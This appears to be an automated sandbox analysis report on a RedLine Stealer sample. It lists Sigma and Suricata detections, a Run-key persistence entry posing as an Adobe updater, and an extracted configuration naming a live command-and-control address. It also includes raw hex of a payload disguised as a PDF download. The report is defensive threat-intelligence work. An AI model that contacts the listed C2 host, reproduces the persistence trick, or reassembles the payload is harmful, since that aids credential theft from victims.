Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\6RE1Z857ae.exe", ParentImage: C:\Users\user\Desktop\6RE1Z857ae.exe, ParentProcessId: 6984, ParentProcessName: 6RE1Z857ae.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, ProcessId: 6968, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\6RE1Z857ae.exe, ProcessId: 6984, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe_Install_Updater

Suricata Signatures

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T19:22:16.304542+0200	2045000	1	Malware Command and Control Activity Detected	87.120.127.223	42128	192.168.2.5	49706	TCP
2024-10-15T19:22:42.159957+0200	2045000	1	Malware Command and Control Activity Detected	87.120.127.223	42128	192.168.2.5	49809	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T19:22:16.902502+0200	2046056	1	A Network Trojan was detected	87.120.127.223	42128	192.168.2.5	49706	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T19:22:21.670247+0200	2045001	1	Malware Command and Control Activity Detected	87.120.127.223	42128	192.168.2.5	49706	TCP
2024-10-15T19:22:46.863740+0200	2045001	1	Malware Command and Control Activity Detected	87.120.127.223	42128	192.168.2.5	49809	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T19:22:11.025738+0200	2849662	1	Malware Command and Control Activity Detected	192.168.2.5	49706	87.120.127.223	42128	TCP
2024-10-15T19:22:37.010035+0200	2849662	1	Malware Command and Control Activity Detected	192.168.2.5	49809	87.120.127.223	42128	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T19:22:16.902445+0200	2849351	1	Malware Command and Control Activity Detected	192.168.2.5	49706	87.120.127.223	42128	TCP
2024-10-15T19:22:42.489193+0200	2849351	1	Malware Command and Control Activity Detected	192.168.2.5	49809	87.120.127.223	42128	TCP

ETPRO MALWARE RedLine - GetUpdates Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T19:22:49.025980+0200	2848200	1	Malware Command and Control Activity Detected	192.168.2.5	49877	87.120.127.223	42128	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T19:22:22.079303+0200	2849352	1	Malware Command and Control Activity Detected	192.168.2.5	49735	87.120.127.223	42128	TCP
2024-10-15T19:22:46.920598+0200	2849352	1	Malware Command and Control Activity Detected	192.168.2.5	49867	87.120.127.223	42128	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\build.exe

Avira: detection malicious, Label: HEUR/AGEN.1305500

Found malware configuration

Source: 5.0.build.exe.b30000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["87.120.127.223:42128"], "Bot Id": "7772121777"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Local\Temp\build.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	ReversingLabs: Detection: 41%

Multi AV Scanner detection for submitted file

Source: 6RE1Z857ae.exe

ReversingLabs: Detection: 45%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\build.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 6RE1Z857ae.exe

Joe Sandbox ML: detected

Source: 6RE1Z857ae.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Source: 6RE1Z857ae.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004011000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2215324588.0000000006BA0000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003112000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.00000000040B3000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2373598901.0000000002553000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2414867650.0000000003541000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.000000000418D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2441230781.0000000003324000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2519401391.0000000003A31000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2464667993.0000000002EB8000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000003FD1000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2540044072.0000000003136000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000003077000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2627328007.0000000003F2B000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2775307801.000000000290A000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2805070631.00000000038E2000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2857282148.00000000025DF000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2898582474.0000000003622000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: 6RE1Z857ae.exe, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004011000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2215324588.0000000006BA0000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003112000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.00000000040B3000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2373598901.0000000002553000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2414867650.0000000003541000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.000000000418D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2441230781.0000000003324000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2519401391.0000000003A31000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2464667993.0000000002EB8000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000003FD1000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2540044072.0000000003136000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000003077000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2627328007.0000000003F2B000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2775307801.000000000290A000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2805070631.00000000038E2000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2857282148.00000000025DF000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2898582474.0000000003622000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 00000010.00000002.2441230781.0000000003324000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000003077000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb source: InstallUtil.exe, 00000010.00000002.2441230781.0000000003324000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000003077000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $jq'AwdWWK5AloC28paBhXS.PDbsRn56IGm56L3AWMn source: Plain_Checker.exe, 0000001B.00000002.2540044072.0000000002FD0000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2775307801.00000000027A0000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2857282148.00000000024E0000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 4x nop then jmp 05F33AC5h	0_2_05F33928
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 4x nop then jmp 05F33AC5h	0_2_05F33918
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 4x nop then jmp 05F33AC5h	0_2_05F33A1C
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 4x nop then jmp 06B66D14h	0_2_06B66C90
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Code function: 4x nop then jmp 06B66D14h	0_2_06B66C80
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 4x nop then jmp 05273AC5h	12_2_05273928
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 4x nop then jmp 05273AC5h	12_2_05273918
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 4x nop then jmp 05273AC5h	12_2_05273A1C
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 4x nop then jmp 06036D14h	12_2_06036C90
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 4x nop then jmp 06036D14h	12_2_06036C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05BFB124h	16_2_05BFAE40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05BFB124h	16_2_05BFAF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05BFC7B5h	16_2_05BFC218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05BFB124h	16_2_05BFAE3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05BFC7B5h	16_2_05BFC218
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 4x nop then jmp 055D3AC5h	20_2_055D3918
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 4x nop then jmp 055D3AC5h	20_2_055D3928
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 4x nop then jmp 055D3AC5h	20_2_055D3A1C
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 4x nop then jmp 064D6D14h	20_2_064D6C90
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Code function: 4x nop then jmp 064D6D14h	20_2_064D6C80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49706 -> 87.120.127.223:42128
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 87.120.127.223:42128 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.5:49706 -> 87.120.127.223:42128
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 87.120.127.223:42128 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 87.120.127.223:42128 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.5:49735 -> 87.120.127.223:42128
Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49809 -> 87.120.127.223:42128
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 87.120.127.223:42128 -> 192.168.2.5:49809
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.5:49809 -> 87.120.127.223:42128
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 87.120.127.223:42128 -> 192.168.2.5:49809
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.5:49867 -> 87.120.127.223:42128
Source: Network traffic	Suricata IDS: 2848200 - Severity 1 - ETPRO MALWARE RedLine - GetUpdates Request : 192.168.2.5:49877 -> 87.120.127.223:42128

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 87.120.127.223:42128

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Bad PDF prefix: HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:34 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 03:21:37 GMT ETag: "132608-6246755adcbae" Accept-Ranges: bytes Content-Length: 1254920 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 92 69 07 0f 5b c2 21 1c 90 29 a9 30 5a 9d 5d 11 ca 2a b6 34 da 58 ed 6a 96 bf 7f b9 d7 ab f5 26 58 23 ec 1f 4f 70 12 7e b5 34 0e 6c 22 6a 06 a9 df 8d 30 a2 80 f0 ec 64 dd 26 ed ea 59 18 0a 91 d3 fc e2 1d 44 32 ae c6 f3 7e 74 26 76 5a ee 84 eb 72 48 82 06 39 1f dc a4 04 69 11 ec 08 d5 f8 a8 79 61 b8 d3 43 05 b8 21 c3 13 26 72 23 91 11 ad ea db 9c c9 e9 56 40 d4 e3 94 c1 d3 2e 43 39 7c 49 43 e9 71 82 e1 18 c8 9d 31 36 26 7e 44 8b be c4 01 9f 77 66 97 a5 25 42 15 d6 eb fa 66 54 58 8e 47 94 6a 7c 58 c1 7f 11 65 cc 70 bd 86 7e d9 42 16 50 49 03 df 7d 51 71 29 ff eb 81 9c dc 3d 49 fe 11 ab 55 e8 f4 0d 58 1e 31 95 f9 bd be 8f ea 73 25 c4 12 63 cb 55 f2 32 f0 5a 29 8a ce df 8b f0 df a9 11 2c 39 85 0d 81 4e d9 b5 cf 32 91 69 80 5a 0a 93 9b 7c f4 a6 10 17 7d 3a b4 fb 9a 54 0e 4e 13 c0 61 09 87 0d d8 77 0c 73 53 78 5a 0b df 20 54 06 6c fd fa 0d 9c 55 d5 e1 b7 f0 01 1f 44 d1 cc e9 b8 ad a8 cc 3d 12 60 ef 7a e9 65 99 e1 8a 31 53 d4 18 c7 5b 5f 07 92 ef d3 ab 3a ff dc 58 7f ab f3 56 05 26 a5 83 e0 66 2f 23 5d 21 2e 17 15 09 8e ca 0f e9 7a 85 65 26 3d 2f a9 33 a6 50 3d 64 00 a8 a2 c1 e1 fb b7 1f ee 5d 48 b3 72 74 9c d9 2c 78 ba 89 01 ae 00 b6 49 bc 46 84 b4 b2 a9 a1 d5 5c c8 cf ab 27 b3 75 1f 78 77 87 17 13 a3 60 ab 52 51 e8 f9 bc 9d b4 48 1b 7d 2f 92 ad 8b 79 50 60 5d fe 7a c4 2a af ca f1 6a 46 2f a6 11 63 8b 47 28 1e 4b 70 38 38 06 19 45 bb 5f d0 f1 b1 9c 34 62 42 57 f7 b5 90 9b 7d 97 25 5d 4b 3b 52 05 7a b7 79 78 3a bd 8b 4a 14 a4 c5 d2 7a e6 b9 bd 7a 30 f9 87 b9 e1 28 47 86 0e 84 9e 76 a6 1d 22 55 b4 d9 38 e3 04 29 4f 69 4c f4 d0 b7 c6 2f 12 53 de f3 15 41 54 fb 73 27 3a 3f 3e 12 c2 d8 fd c4 98 60 47 5f c9 d3 e8 ac fd c0 12 c9 37 03 33 73 8d 8d 07 c8 3b 4e 01 57 ef 7f d0 68 3c 80 6e 45 02 18 4d eb f7 da 3e 01 af bf 93 8e db a2 88 52 a8 ee da 91 f1 00 24 79 9e 44 38 77 10 80 0d d3 1e d8 17 8c a1 c6 75 bf 73 c2 ee 94 59 45 4c c4 0b ed 6a c6 69 da 6b d3 f8 1b 5b 3c a7 d3 7a de dc 60 16 2d 13 58 97 a1 40 75 d7 ac c7 90 59 bd d6 84 44 52 a1 49 ee c8 9f 36 bd 05 0b 59 24 62 98 0f 3e f2 e5 9e 6f d7 39 93 e4 c8 0b d0 fa 72 98 d9 f6 7f f2 a4 77 db 13 d2 e7 d9 60 07 01 e4 73 d8 71 ad 49 56 bc 2c 28 97 a3 2c 2f fd b7 31 4d 00 52 9f 04 cc 53 38 1e a6 cf 4e ba 01 fa 44 1d d1 4d 07 52 9b c8 a5 4a f8 07 eb d0 84 2b d4 fd 2a 7a f2 9f d6 13 b5 a3 e1 5d 1a 5e 6f 41 27 d0 77 12 11 ed 75 1f 45 fe 01 db 09 72 f3 56 67 ba 59 1c 8f 49 ce 44 28 d4 a6 62 a1 07 02 44 3f 81 64 19 62 ad 0c 17 f6 42 f0 fa 61 e4 25 60 89 f7 be db 82 f2 cb d3 67 67 43 7c 7c b9 38 1b ba 06 8c 1d ec 94 ab 40 e7 c4 84 8c 45 82 86 91 0d 3d 90 7c 72 12 31 75 11 2d 8e 5a d5 39 6f f0 1b 69 6e 53 a3 74 ab 86 d9 a8 51 91 24 a6 aa da a6 58 ac 30 43 3c f4 e3 96 a6 92 27 29 69 ab bf 9a 10 f6 48 de e8 b
Source: http	Bad PDF prefix: HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 03:21:37 GMT ETag: "132608-6246755adcbae" Accept-Ranges: bytes Content-Length: 1254920 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 92 69 07 0f 5b c2 21 1c 90 29 a9 30 5a 9d 5d 11 ca 2a b6 34 da 58 ed 6a 96 bf 7f b9 d7 ab f5 26 58 23 ec 1f 4f 70 12 7e b5 34 0e 6c 22 6a 06 a9 df 8d 30 a2 80 f0 ec 64 dd 26 ed ea 59 18 0a 91 d3 fc e2 1d 44 32 ae c6 f3 7e 74 26 76 5a ee 84 eb 72 48 82 06 39 1f dc a4 04 69 11 ec 08 d5 f8 a8 79 61 b8 d3 43 05 b8 21 c3 13 26 72 23 91 11 ad ea db 9c c9 e9 56 40 d4 e3 94 c1 d3 2e 43 39 7c 49 43 e9 71 82 e1 18 c8 9d 31 36 26 7e 44 8b be c4 01 9f 77 66 97 a5 25 42 15 d6 eb fa 66 54 58 8e 47 94 6a 7c 58 c1 7f 11 65 cc 70 bd 86 7e d9 42 16 50 49 03 df 7d 51 71 29 ff eb 81 9c dc 3d 49 fe 11 ab 55 e8 f4 0d 58 1e 31 95 f9 bd be 8f ea 73 25 c4 12 63 cb 55 f2 32 f0 5a 29 8a ce df 8b f0 df a9 11 2c 39 85 0d 81 4e d9 b5 cf 32 91 69 80 5a 0a 93 9b 7c f4 a6 10 17 7d 3a b4 fb 9a 54 0e 4e 13 c0 61 09 87 0d d8 77 0c 73 53 78 5a 0b df 20 54 06 6c fd fa 0d 9c 55 d5 e1 b7 f0 01 1f 44 d1 cc e9 b8 ad a8 cc 3d 12 60 ef 7a e9 65 99 e1 8a 31 53 d4 18 c7 5b 5f 07 92 ef d3 ab 3a ff dc 58 7f ab f3 56 05 26 a5 83 e0 66 2f 23 5d 21 2e 17 15 09 8e ca 0f e9 7a 85 65 26 3d 2f a9 33 a6 50 3d 64 00 a8 a2 c1 e1 fb b7 1f ee 5d 48 b3 72 74 9c d9 2c 78 ba 89 01 ae 00 b6 49 bc 46 84 b4 b2 a9 a1 d5 5c c8 cf ab 27 b3 75 1f 78 77 87 17 13 a3 60 ab 52 51 e8 f9 bc 9d b4 48 1b 7d 2f 92 ad 8b 79 50 60 5d fe 7a c4 2a af ca f1 6a 46 2f a6 11 63 8b 47 28 1e 4b 70 38 38 06 19 45 bb 5f d0 f1 b1 9c 34 62 42 57 f7 b5 90 9b 7d 97 25 5d 4b 3b 52 05 7a b7 79 78 3a bd 8b 4a 14 a4 c5 d2 7a e6 b9 bd 7a 30 f9 87 b9 e1 28 47 86 0e 84 9e 76 a6 1d 22 55 b4 d9 38 e3 04 29 4f 69 4c f4 d0 b7 c6 2f 12 53 de f3 15 41 54 fb 73 27 3a 3f 3e 12 c2 d8 fd c4 98 60 47 5f c9 d3 e8 ac fd c0 12 c9 37 03 33 73 8d 8d 07 c8 3b 4e 01 57 ef 7f d0 68 3c 80 6e 45 02 18 4d eb f7 da 3e 01 af bf 93 8e db a2 88 52 a8 ee da 91 f1 00 24 79 9e 44 38 77 10 80 0d d3 1e d8 17 8c a1 c6 75 bf 73 c2 ee 94 59 45 4c c4 0b ed 6a c6 69 da 6b d3 f8 1b 5b 3c a7 d3 7a de dc 60 16 2d 13 58 97 a1 40 75 d7 ac c7 90 59 bd d6 84 44 52 a1 49 ee c8 9f 36 bd 05 0b 59 24 62 98 0f 3e f2 e5 9e 6f d7 39 93 e4 c8 0b d0 fa 72 98 d9 f6 7f f2 a4 77 db 13 d2 e7 d9 60 07 01 e4 73 d8 71 ad 49 56 bc 2c 28 97 a3 2c 2f fd b7 31 4d 00 52 9f 04 cc 53 38 1e a6 cf 4e ba 01 fa 44 1d d1 4d 07 52 9b c8 a5 4a f8 07 eb d0 84 2b d4 fd 2a 7a f2 9f d6 13 b5 a3 e1 5d 1a 5e 6f 41 27 d0 77 12 11 ed 75 1f 45 fe 01 db 09 72 f3 56 67 ba 59 1c 8f 49 ce 44 28 d4 a6 62 a1 07 02 44 3f 81 64 19 62 ad 0c 17 f6 42 f0 fa 61 e4 25 60 89 f7 be db 82 f2 cb d3 67 67 43 7c 7c b9 38 1b ba 06 8c 1d ec 94 ab 40 e7 c4 84 8c 45 82 86 91 0d 3d 90 7c 72 12 31 75 11 2d 8e 5a d5 39 6f f0 1b 69 6e 53 a3 74 ab 86 d9 a8 51 91 24 a6 aa da a6 58 ac 30 43 3c f4 e3 96 a6 92 27 29 69 ab bf 9a 10 f6 48 de e8 b
Source: http	Bad PDF prefix: HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:23:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 03:21:37 GMT ETag: "132608-6246755adcbae" Accept-Ranges: bytes Content-Length: 1254920 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 92 69 07 0f 5b c2 21 1c 90 29 a9 30 5a 9d 5d 11 ca 2a b6 34 da 58 ed 6a 96 bf 7f b9 d7 ab f5 26 58 23 ec 1f 4f 70 12 7e b5 34 0e 6c 22 6a 06 a9 df 8d 30 a2 80 f0 ec 64 dd 26 ed ea 59 18 0a 91 d3 fc e2 1d 44 32 ae c6 f3 7e 74 26 76 5a ee 84 eb 72 48 82 06 39 1f dc a4 04 69 11 ec 08 d5 f8 a8 79 61 b8 d3 43 05 b8 21 c3 13 26 72 23 91 11 ad ea db 9c c9 e9 56 40 d4 e3 94 c1 d3 2e 43 39 7c 49 43 e9 71 82 e1 18 c8 9d 31 36 26 7e 44 8b be c4 01 9f 77 66 97 a5 25 42 15 d6 eb fa 66 54 58 8e 47 94 6a 7c 58 c1 7f 11 65 cc 70 bd 86 7e d9 42 16 50 49 03 df 7d 51 71 29 ff eb 81 9c dc 3d 49 fe 11 ab 55 e8 f4 0d 58 1e 31 95 f9 bd be 8f ea 73 25 c4 12 63 cb 55 f2 32 f0 5a 29 8a ce df 8b f0 df a9 11 2c 39 85 0d 81 4e d9 b5 cf 32 91 69 80 5a 0a 93 9b 7c f4 a6 10 17 7d 3a b4 fb 9a 54 0e 4e 13 c0 61 09 87 0d d8 77 0c 73 53 78 5a 0b df 20 54 06 6c fd fa 0d 9c 55 d5 e1 b7 f0 01 1f 44 d1 cc e9 b8 ad a8 cc 3d 12 60 ef 7a e9 65 99 e1 8a 31 53 d4 18 c7 5b 5f 07 92 ef d3 ab 3a ff dc 58 7f ab f3 56 05 26 a5 83 e0 66 2f 23 5d 21 2e 17 15 09 8e ca 0f e9 7a 85 65 26 3d 2f a9 33 a6 50 3d 64 00 a8 a2 c1 e1 fb b7 1f ee 5d 48 b3 72 74 9c d9 2c 78 ba 89 01 ae 00 b6 49 bc 46 84 b4 b2 a9 a1 d5 5c c8 cf ab 27 b3 75 1f 78 77 87 17 13 a3 60 ab 52 51 e8 f9 bc 9d b4 48 1b 7d 2f 92 ad 8b 79 50 60 5d fe 7a c4 2a af ca f1 6a 46 2f a6 11 63 8b 47 28 1e 4b 70 38 38 06 19 45 bb 5f d0 f1 b1 9c 34 62 42 57 f7 b5 90 9b 7d 97 25 5d 4b 3b 52 05 7a b7 79 78 3a bd 8b 4a 14 a4 c5 d2 7a e6 b9 bd 7a 30 f9 87 b9 e1 28 47 86 0e 84 9e 76 a6 1d 22 55 b4 d9 38 e3 04 29 4f 69 4c f4 d0 b7 c6 2f 12 53 de f3 15 41 54 fb 73 27 3a 3f 3e 12 c2 d8 fd c4 98 60 47 5f c9 d3 e8 ac fd c0 12 c9 37 03 33 73 8d 